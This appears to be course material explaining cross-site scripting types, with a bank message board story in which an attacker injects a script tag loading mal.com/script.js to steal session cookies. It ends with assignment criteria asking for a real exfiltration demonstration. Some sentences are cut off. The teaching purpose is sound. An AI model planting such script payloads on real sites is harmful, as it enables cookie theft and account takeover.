Cross-site scripting (XSS)
These attacks are referred to as "cross-site" because the malicious script is often loaded from an external site (e.g.
Stored XSS Attack (aka Persistent or Type-I XSS)
In which the malicious script is persistently stored on the server (e.g. on a message board or as a username)
Reflected XSS Attack (aka Non-Persistent or Type-II XSS)
In which the malicious script is present in the request to the server and is "reflected" off of the server (e.g. in an error message).
DOM-based XSS (aka Type-0 XSS)
In which the malicious script is injected into a DOM element (like the URL) and then evaluated (e.g. via
eval()or merely being included on the page as
innerHTML, for example)
Example 1- Stored XSS
bank.com has a user message board where users can ask and answer questions about the bank. Eve makes a benign-looking post on the message board but adds
<script src="mal.com/script.js"/> to the end of her post. The file,
script.js is a malicious script which grabs a user's session cookie and sends it to Eve. The bank's message board code does not sanitize or escape message board content and serves Eve's message, including the
script tag, to Alice. Alice's browser executes the malicious script. Eve, now in possession of Alice's session cookie, can log in as Alice and has full access to Alice's account and funds.
Example 2- Reflected XSS
After Alice reports that she lost all her money, the webmaster of
bank.com realizes that the message board is insecure. The webmaster adds code to sanitize and escape user messages, removing the message board XSS vulnerability. However,
bank.com recently got a fancy new 404 page, which displays a message including the URL that caused the 404:
<p>Sorry, but we don't have a page called doesntexist. Thanks for using Bank.com!</p>
Eve posts a new message to the message board with a hyperlink to
bank.com/<script src="mal.com/script.js"/>, along with an innocent-sounding message. Bob clicks on the link to see where it goes, and gets the fancy 404 page:
<p>Sorry, but we don't have a page called <script src="mal.com/script.js"/>. Thanks for using Bank.com!</p>
Bob's browser executes the malicious script, which sends his session cookie to Eve. Eve now has access to Bob's account.
This vulnerability in Steam chat allowed for remote code execution on a victim's computer via a stored XSS attack. It was worth a $3000 bounty.
This vulnerability in Uber's website allowed for a reflected XSS attack off of Uber's Law Enforcement portal. It was worth a $7500 bounty.
This vulnerability in Apache Jira eventually gave attackers root access on Apache servers and leaked Apache customer passwords.
In December 2006, this paper by Stefano Di Paola and Giorgio Fedon described a DOM-based XSS attack against Adobe's Acrobat PDF plugin.
Filtering against XSS attacks is generally insufficient. Because browsers are so tolerant of malformed HTML/CSS/JS, it is often easy to evade filters that try to detect
onmouseover. For instance,
script:alert(document.cookie) is equivalent to
Criteria for Demonstration
alert("hello"), for example) do not count as full XSS attacks. Instead, try to perform a real attack by exfiltrating data, or communicating with the server on behalf of the victim. When preforming these more complex attacks, be sure to document all other resources used (for example, if you are exfiltrating data, explain where it is being sent and what is there to recieve it).